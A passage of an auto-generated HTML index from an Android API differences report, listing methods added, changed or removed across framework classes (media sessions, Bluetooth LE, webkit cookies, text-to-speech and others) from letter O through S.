float</code>)</b>&nbsp;in&nbsp;android.view.ViewGroup </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.ViewParent.html#android.view.ViewParent.onNestedPreFling_added(android.view.View, float, float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>View, float, float</code>)</b>&nbsp;in&nbsp;android.view.ViewParent </A></nobr><br> <nobr><A HREF="android.bluetooth.BluetoothGattServerCallback.html#android.bluetooth.BluetoothGattServerCallback.onNotificationSent_added(android.bluetooth.BluetoothDevice, int)" class="hiddenlink" target="rightframe"><b>onNotificationSent</b> (<code>BluetoothDevice, int</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onPause_added()" class="hiddenlink" target="rightframe"><b>onPause</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onPlay_added()" class="hiddenlink" target="rightframe"><b>onPlay</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onPlayFromMediaId_added(java.lang.String, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>onPlayFromMediaId</b> (<code>String, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onPlayFromSearch_added(java.lang.String, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>onPlayFromSearch</b> (<code>String, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.onPostCreate_changed(android.os.Bundle, android.os.PersistableBundle)" class="hiddenlink" target="rightframe">onPostCreate (<code>Bundle, PersistableBundle</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.Callback.html#android.media.session.MediaController.Callback.onQueueChanged_added(java.util.List<android.media.session.MediaSession.QueueItem>)" class="hiddenlink" target="rightframe"><b>onQueueChanged</b> (<code>List&lt;QueueItem&gt;</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.Callback.html#android.media.session.MediaController.Callback.onQueueTitleChanged_added(java.lang.CharSequence)" class="hiddenlink" target="rightframe"><b>onQueueTitleChanged</b> (<code>CharSequence</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionService.html#android.service.voice.VoiceInteractionService.onReady_added()" class="hiddenlink" target="rightframe"><b>onReady</b> ()</A></nobr><br> <nobr><A HREF="android.app.backup.BackupAgent.html#android.app.backup.BackupAgent.onRestoreFinished_added()" class="hiddenlink" target="rightframe"><b>onRestoreFinished</b> ()</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.onRestoreInstanceState_changed(android.os.Bundle, android.os.PersistableBundle)" class="hiddenlink" target="rightframe">onRestoreInstanceState (<code>Bundle, PersistableBundle</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onRewind_added()" class="hiddenlink" target="rightframe"><b>onRewind</b> ()</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.onSaveInstanceState_changed(android.os.Bundle, android.os.PersistableBundle)" class="hiddenlink" target="rightframe">onSaveInstanceState (<code>Bundle, PersistableBundle</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanCallback.html#android.bluetooth.le.ScanCallback.onScanFailed_changed(int)" class="hiddenlink" target="rightframe">onScanFailed (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanCallback.html#android.bluetooth.le.ScanCallback.onScanResult_added(int, android.bluetooth.le.ScanResult)" class="hiddenlink" target="rightframe"><b>onScanResult</b> (<code>int, ScanResult</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onSeekTo_added(long)" class="hiddenlink" target="rightframe"><b>onSeekTo</b> (<code>long</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.onSelectTrack_added(int, java.lang.String)" class="hiddenlink" target="rightframe"><b>onSelectTrack</b> (<code>int, String</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.Callback.html#android.media.session.MediaController.Callback.onSessionDestroyed_added()" class="hiddenlink" target="rightframe"><b>onSessionDestroyed</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.onSetCaptionEnabled_added(boolean)" class="hiddenlink" target="rightframe"><b>onSetCaptionEnabled</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onSetRating_added(android.media.Rating)" class="hiddenlink" target="rightframe"><b>onSetRating</b> (<code>Rating</code>)</A></nobr><br> <nobr><A HREF="android.webkit.WebChromeClient.html#android.webkit.WebChromeClient.onShowFileChooser_added(android.webkit.WebView, android.webkit.ValueCallback<android.net.Uri[]>, android.webkit.WebChromeClient.FileChooserParams)" class="hiddenlink" target="rightframe"><b>onShowFileChooser</b> (<code>WebView, ValueCallback&lt;Uri[]&gt;, FileChooserParams</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionService.html#android.service.voice.VoiceInteractionService.onShutdown_added()" class="hiddenlink" target="rightframe"><b>onShutdown</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onSkipToNext_added()" class="hiddenlink" target="rightframe"><b>onSkipToNext</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onSkipToPrevious_added()" class="hiddenlink" target="rightframe"><b>onSkipToPrevious</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onSkipToQueueItem_added(long)" class="hiddenlink" target="rightframe"><b>onSkipToQueueItem</b> (<code>long</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseCallback.html#android.bluetooth.le.AdvertiseCallback.onStartFailure_added(int)" class="hiddenlink" target="rightframe"><b>onStartFailure</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseCallback.html#android.bluetooth.le.AdvertiseCallback.onStartSuccess_added(android.bluetooth.le.AdvertiseSettings)" class="hiddenlink" target="rightframe"><b>onStartSuccess</b> (<code>AdvertiseSettings</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.Callback.html#android.media.session.MediaSession.Callback.onStop_added()" class="hiddenlink" target="rightframe"><b>onStop</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseCallback.html#android.bluetooth.le.AdvertiseCallback.onSuccess_removed(android.bluetooth.le.AdvertiseSettings)" class="hiddenlink" target="rightframe"><strike>onSuccess</strike> (<code>AdvertiseSettings</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.onSurfaceChanged_added(int, int, int)" class="hiddenlink" target="rightframe"><b>onSurfaceChanged</b> (<code>int, int, int</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onTaskFinished_removed(android.content.Intent, int)" class="hiddenlink" target="rightframe"><strike>onTaskFinished</strike> (<code>Intent, int</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.onTaskStarted_removed(android.content.Intent, int)" class="hiddenlink" target="rightframe"><strike>onTaskStarted</strike> (<code>Intent, int</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputService.Session.html#android.media.tv.TvInputService.Session.onUnblockContent_added(android.media.tv.TvContentRating)" class="hiddenlink" target="rightframe"><b>onUnblockContent</b> (<code>TvContentRating</code>)</A></nobr><br> <nobr><A HREF="android.inputmethodservice.InputMethodService.html#android.inputmethodservice.InputMethodService.onUpdateCursor_changed(android.graphics.Rect)" class="hiddenlink" target="rightframe">onUpdateCursor (<code>Rect</code>)</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.onVisibleBehindCanceled_added()" class="hiddenlink" target="rightframe"><b>onVisibleBehindCanceled</b> ()</A></nobr><br> <nobr><A HREF="android.service.dreams.DreamService.html#android.service.dreams.DreamService.onWakeUp_added()" class="hiddenlink" target="rightframe"><b>onWakeUp</b> ()</A></nobr><br> <nobr><A HREF="android.hardware.camera2.CameraManager.html#android.hardware.camera2.CameraManager.openCamera_changed(java.lang.String, android.hardware.camera2.CameraDevice.StateCallback, android.os.Handler)" class="hiddenlink" target="rightframe">openCamera (<code>String, StateCallback, Handler</code>)</A></nobr><br> <nobr><A HREF="android.net.Network.html#android.net.Network.openConnection_added(java.net.URL)" class="hiddenlink" target="rightframe"><b>openConnection</b> (<code>URL</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaDrm.html#android.media.MediaDrm.openSession_changed()" class="hiddenlink" target="rightframe">openSession ()</A></nobr><br> <A NAME="P"></A> <br><font size="+2">P</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.parseFromBytes_removed(byte[])" class="hiddenlink" target="rightframe"><strike>parseFromBytes</strike> (<code>byte[]</code>)</A></nobr><br> <nobr><A HREF="android.util.Rational.html#android.util.Rational.parseRational_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>parseRational</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.util.Size.html#android.util.Size.parseSize_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>parseSize</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.util.SizeF.html#android.util.SizeF.parseSizeF_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>parseSizeF</b> (<code>String</code>)</A></nobr><br> <i>playEarcon</i><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.playEarcon_added(java.lang.String, int, android.os.Bundle, java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String, int, Bundle, String</code>)</b>&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.playEarcon_changed(java.lang.String, int, java.util.HashMap<java.lang.String, java.lang.String>)" class="hiddenlink" target="rightframe">type&nbsp; (<code>String, int, HashMap&lt;String, String&gt;</code>)&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> <nobr><A HREF="android.media.session.MediaController.TransportControls.html#android.media.session.MediaController.TransportControls.playFromMediaId_added(java.lang.String, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>playFromMediaId</b> (<code>String, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.TransportControls.html#android.media.session.MediaController.TransportControls.playFromSearch_added(java.lang.String, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>playFromSearch</b> (<code>String, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.playSilence_changed(long, int, java.util.HashMap<java.lang.String, java.lang.String>)" class="hiddenlink" target="rightframe">playSilence (<code>long, int, HashMap&lt;String, String&gt;</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.playSilentUtterance_added(long, int, java.lang.String)" class="hiddenlink" target="rightframe"><b>playSilentUtterance</b> (<code>long, int, String</code>)</A></nobr><br> <nobr><A HREF="android.webkit.WebView.html#android.webkit.WebView.preauthorizePermission_removed(android.net.Uri, long)" class="hiddenlink" target="rightframe"><strike>preauthorizePermission</strike> (<code>Uri, long</code>)</A></nobr><br> <nobr><A HREF="android.os.Bundle.html#android.os.Bundle.putSize_added(java.lang.String, android.util.Size)" class="hiddenlink" target="rightframe"><b>putSize</b> (<code>String, Size</code>)</A></nobr><br> <nobr><A HREF="android.os.Bundle.html#android.os.Bundle.putSizeF_added(java.lang.String, android.util.SizeF)" class="hiddenlink" target="rightframe"><b>putSizeF</b> (<code>String, SizeF</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaMetadata.Builder.html#android.media.MediaMetadata.Builder.putText_added(java.lang.String, java.lang.CharSequence)" class="hiddenlink" target="rightframe"><b>putText</b> (<code>String, CharSequence</code>)</A></nobr><br> <A NAME="R"></A> <br><font size="+2">R</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.os.Parcel.html#android.os.Parcel.readSize_added()" class="hiddenlink" target="rightframe"><b>readSize</b> ()</A></nobr><br> <nobr><A HREF="android.os.Parcel.html#android.os.Parcel.readSizeF_added()" class="hiddenlink" target="rightframe"><b>readSizeF</b> ()</A></nobr><br> <nobr><A HREF="android.hardware.camera2.CameraManager.html#android.hardware.camera2.CameraManager.registerAvailabilityCallback_added(android.hardware.camera2.CameraManager.AvailabilityCallback, android.os.Handler)" class="hiddenlink" target="rightframe"><b>registerAvailabilityCallback</b> (<code>AvailabilityCallback, Handler</code>)</A></nobr><br> <i>registerCallback</i><br> &nbsp;&nbsp;<nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.registerCallback_added(android.content.pm.LauncherApps.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Callback</code>)</b>&nbsp;in&nbsp;android.content.pm.LauncherApps </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.registerCallback_added(android.content.pm.LauncherApps.Callback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Callback, Handler</code>)</b>&nbsp;in&nbsp;android.content.pm.LauncherApps </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.registerCallback_added(android.media.session.MediaController.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Callback</code>)</b>&nbsp;in&nbsp;android.media.session.MediaController </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.registerCallback_added(android.media.session.MediaController.Callback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Callback, Handler</code>)</b>&nbsp;in&nbsp;android.media.session.MediaController </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvInputManager.html#android.media.tv.TvInputManager.registerCallback_added(android.media.tv.TvInputManager.TvInputCallback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>TvInputCallback, Handler</code>)</b>&nbsp;in&nbsp;android.media.tv.TvInputManager </A></nobr><br> <nobr><A HREF="android.net.ConnectivityManager.html#android.net.ConnectivityManager.registerDefaultNetworkActiveListener_removed(android.net.ConnectivityManager.OnNetworkActiveListener)" class="hiddenlink" target="rightframe"><strike>registerDefaultNetworkActiveListener</strike> (<code>OnNetworkActiveListener</code>)</A></nobr><br> <i>registerMediaButtonEventReceiver</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.registerMediaButtonEventReceiver_changed(android.app.PendingIntent)" class="hiddenlink" target="rightframe">type&nbsp; (<code>PendingIntent</code>)&nbsp;in&nbsp;android.media.AudioManager </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.registerMediaButtonEventReceiver_changed(android.content.ComponentName)" class="hiddenlink" target="rightframe">type&nbsp; (<code>ComponentName</code>)&nbsp;in&nbsp;android.media.AudioManager </A></nobr><br> <nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.registerRemoteControlClient_changed(android.media.RemoteControlClient)" class="hiddenlink" target="rightframe">registerRemoteControlClient (<code>RemoteControlClient</code>)</A></nobr><br> <nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.registerRemoteController_changed(android.media.RemoteController)" class="hiddenlink" target="rightframe">registerRemoteController (<code>RemoteController</code>)</A></nobr><br> <nobr><A HREF="android.os.PowerManager.WakeLock.html#android.os.PowerManager.WakeLock.release_added(int)" class="hiddenlink" target="rightframe"><b>release</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.releaseInstance_added()" class="hiddenlink" target="rightframe"><b>releaseInstance</b> ()</A></nobr><br> <nobr><A HREF="android.webkit.CookieManager.html#android.webkit.CookieManager.removeAllCookie_changed()" class="hiddenlink" target="rightframe">removeAllCookie ()</A></nobr><br> <nobr><A HREF="android.webkit.CookieManager.html#android.webkit.CookieManager.removeAllCookies_added(android.webkit.ValueCallback<java.lang.Boolean>)" class="hiddenlink" target="rightframe"><b>removeAllCookies</b> (<code>ValueCallback&lt;Boolean&gt;</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.CameraManager.html#android.hardware.camera2.CameraManager.removeAvailabilityListener_removed(android.hardware.camera2.CameraManager.AvailabilityListener)" class="hiddenlink" target="rightframe"><strike>removeAvailabilityListener</strike> (<code>AvailabilityListener</code>)</A></nobr><br> <i>removeCallback</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.removeCallback_removed(android.media.session.MediaController.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>Callback</code>)</strike>&nbsp;in&nbsp;android.media.session.MediaController </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.removeCallback_removed(android.media.session.MediaSession.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>Callback</code>)</strike>&nbsp;in&nbsp;android.media.session.MediaSession </A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.removeCrossProfileWidgetProvider_added(android.content.ComponentName, java.lang.String)" class="hiddenlink" target="rightframe"><b>removeCrossProfileWidgetProvider</b> (<code>ComponentName, String</code>)</A></nobr><br> <nobr><A HREF="android.net.ConnectivityManager.html#android.net.ConnectivityManager.removeDefaultNetworkActiveListener_added(android.net.ConnectivityManager.OnNetworkActiveListener)" class="hiddenlink" target="rightframe"><b>removeDefaultNetworkActiveListener</b> (<code>OnNetworkActiveListener</code>)</A></nobr><br> <nobr><A HREF="android.webkit.CookieManager.html#android.webkit.CookieManager.removeExpiredCookie_changed()" class="hiddenlink" target="rightframe">removeExpiredCookie ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaSessionManager.html#android.media.session.MediaSessionManager.removeOnActiveSessionsChangedListener_added(android.media.session.MediaSessionManager.OnActiveSessionsChangedListener)" class="hiddenlink" target="rightframe"><b>removeOnActiveSessionsChangedListener</b> (<code>OnActiveSessionsChangedListener</code>)</A></nobr><br> <nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.removeOnAppsChangedListener_removed(android.content.pm.LauncherApps.OnAppsChangedListener)" class="hiddenlink" target="rightframe"><strike>removeOnAppsChangedListener</strike> (<code>OnAppsChangedListener</code>)</A></nobr><br> <nobr><A HREF="android.webkit.CookieManager.html#android.webkit.CookieManager.removeSessionCookie_changed()" class="hiddenlink" target="rightframe">removeSessionCookie ()</A></nobr><br> <nobr><A HREF="android.webkit.CookieManager.html#android.webkit.CookieManager.removeSessionCookies_added(android.webkit.ValueCallback<java.lang.Boolean>)" class="hiddenlink" target="rightframe"><b>removeSessionCookies</b> (<code>ValueCallback&lt;Boolean&gt;</code>)</A></nobr><br> <nobr><A HREF="android.content.Context.html#android.content.Context.removeStickyBroadcast_changed(android.content.Intent)" class="hiddenlink" target="rightframe">removeStickyBroadcast (<code>Intent</code>)</A></nobr><br> <nobr><A HREF="android.content.Context.html#android.content.Context.removeStickyBroadcastAsUser_changed(android.content.Intent, android.os.UserHandle)" class="hiddenlink" target="rightframe">removeStickyBroadcastAsUser (<code>Intent, UserHandle</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.removeTransportControlsCallback_removed(android.media.session.MediaSession.TransportControlsCallback)" class="hiddenlink" target="rightframe"><strike>removeTransportControlsCallback</strike> (<code>TransportControlsCallback</code>)</A></nobr><br> <nobr><A HREF="android.accounts.AccountManager.html#android.accounts.AccountManager.renameAccount_added(android.accounts.Account, java.lang.String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)" class="hiddenlink" target="rightframe"><b>renameAccount</b> (<code>Account, String, AccountManagerCallback&lt;Account&gt;, Handler</code>)</A></nobr><br> <nobr><A HREF="android.view.WindowInsets.html#android.view.WindowInsets.replaceSystemWindowInsets_added(android.graphics.Rect)" class="hiddenlink" target="rightframe"><b>replaceSystemWindowInsets</b> (<code>Rect</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.BluetoothGatt.html#android.bluetooth.BluetoothGatt.requestConnectionPriority_added(int)" class="hiddenlink" target="rightframe"><b>requestConnectionPriority</b> (<code>int</code>)</A></nobr><br> <i>requestCursorUpdates</i><br> &nbsp;&nbsp;<nobr><A HREF="android.view.inputmethod.BaseInputConnection.html#android.view.inputmethod.BaseInputConnection.requestCursorUpdates_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.view.inputmethod.BaseInputConnection </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.inputmethod.InputConnection.html#android.view.inputmethod.InputConnection.requestCursorUpdates_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.view.inputmethod.InputConnection </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.inputmethod.InputConnectionWrapper.html#android.view.inputmethod.InputConnectionWrapper.requestCursorUpdates_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.view.inputmethod.InputConnectionWrapper </A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.html#android.service.notification.NotificationListenerService.requestInterruptionFilter_added(int)" class="hiddenlink" target="rightframe"><b>requestInterruptionFilter</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.html#android.service.notification.NotificationListenerService.requestListenerHints_added(int)" class="hiddenlink" target="rightframe"><b>requestListenerHints</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.BluetoothGatt.html#android.bluetooth.BluetoothGatt.requestMtu_added(int)" class="hiddenlink" target="rightframe"><b>requestMtu</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.requestUnbufferedDispatch_added(android.view.MotionEvent)" class="hiddenlink" target="rightframe"><b>requestUnbufferedDispatch</b> (<code>MotionEvent</code>)</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.requestVisibleBehind_added(boolean)" class="hiddenlink" target="rightframe"><b>requestVisibleBehind</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.reset_added()" class="hiddenlink" target="rightframe"><b>reset</b> ()</A></nobr><br> <nobr><A HREF="android.hardware.display.VirtualDisplay.html#android.hardware.display.VirtualDisplay.resize_added(int, int, int)" class="hiddenlink" target="rightframe"><b>resize</b> (<code>int, int, int</code>)</A></nobr><br> <A NAME="S"></A> <br><font size="+2">S</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.media.tv.TvView.html#android.media.tv.TvView.selectTrack_added(int, java.lang.String)" class="hiddenlink" target="rightframe"><b>selectTrack</b> (<code>int, String</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.sendCommand_added(java.lang.String, android.os.Bundle, android.os.ResultReceiver)" class="hiddenlink" target="rightframe"><b>sendCommand</b> (<code>String, Bundle, ResultReceiver</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.sendControlCommand_removed(java.lang.String, android.os.Bundle, android.os.ResultReceiver)" class="hiddenlink" target="rightframe"><strike>sendControlCommand</strike> (<code>String, Bundle, ResultReceiver</code>)</A></nobr><br> <i>sendCustomAction</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaController.TransportControls.html#android.media.session.MediaController.TransportControls.sendCustomAction_added(android.media.session.PlaybackState.CustomAction, android.os.Bundle)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>CustomAction, Bundle</code>)</b>&nbsp;in&nbsp;android.media.session.MediaController.TransportControls </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaController.TransportControls.html#android.media.session.MediaController.TransportControls.sendCustomAction_added(java.lang.String, android.os.Bundle)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String, Bundle</code>)</b>&nbsp;in&nbsp;android.media.session.MediaController.TransportControls </A></nobr><br> <nobr><A HREF="android.telephony.TelephonyManager.html#android.telephony.TelephonyManager.sendEnvelopeWithStatus_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>sendEnvelopeWithStatus</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.telephony.SmsManager.html#android.telephony.SmsManager.sendMultimediaMessage_added(android.content.Context, android.net.Uri, java.lang.String, android.os.Bundle, android.app.PendingIntent)" class="hiddenlink" target="rightframe"><b>sendMultimediaMessage</b> (<code>Context, Uri, String, Bundle, PendingIntent</code>)</A></nobr><br> <nobr><A HREF="android.content.Context.html#android.content.Context.sendStickyBroadcast_changed(android.content.Intent)" class="hiddenlink" target="rightframe">sendStickyBroadcast (<code>Intent</code>)</A></nobr><br> <nobr><A HREF="android.content.Context.html#android.content.Context.sendStickyBroadcastAsUser_changed(android.content.Intent, android.os.UserHandle)" class="hiddenlink" target="rightframe">sendStickyBroadcastAsUser (<code>Intent, UserHandle</code>)</A></nobr><br> <nobr><A HREF="android.content.Context.html#android.content.Context.sendStickyOrderedBroadcast_changed(android.content.Intent, android.content.BroadcastReceiver, android.os.Handler, int, java.lang.String, android.os.Bundle)" class="hiddenlink" target="rightframe">sendStickyOrderedBroadcast (<code>Intent, BroadcastReceiver, Handler, int, String, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.content.Context.html#android.content.Context.sendStickyOrderedBroadcastAsUser_changed(android.content.Intent, android.os.UserHandle, android.content.BroadcastReceiver, android.os.Handler, int, java.lang.String, android.os.Bundle)" class="hiddenlink" target="rightframe">sendStickyOrderedBroadcastAsUser (<code>Intent, UserHandle, BroadcastReceiver, Handler, int, String, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.webkit.CookieManager.html#android.webkit.CookieManager.setAcceptThirdPartyCookies_added(android.webkit.WebView, boolean)" class="hiddenlink" target="rightframe"><b>setAcceptThirdPartyCookies</b> (<code>WebView, boolean</code>)</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.setActions_removed(long)" class="hiddenlink" target="rightframe"><strike>setActions</strike> (<code>long</code>)</A></nobr><br> <nobr><A HREF="android.app.AlarmManager.html#android.app.AlarmManager.setAlarmClock_added(android.app.AlarmManager.AlarmClockInfo, android.app.PendingIntent)" class="hiddenlink" target="rightframe"><b>setAlarmClock</b> (<code>AlarmClockInfo, PendingIntent</code>)</A></nobr><br> <nobr><A 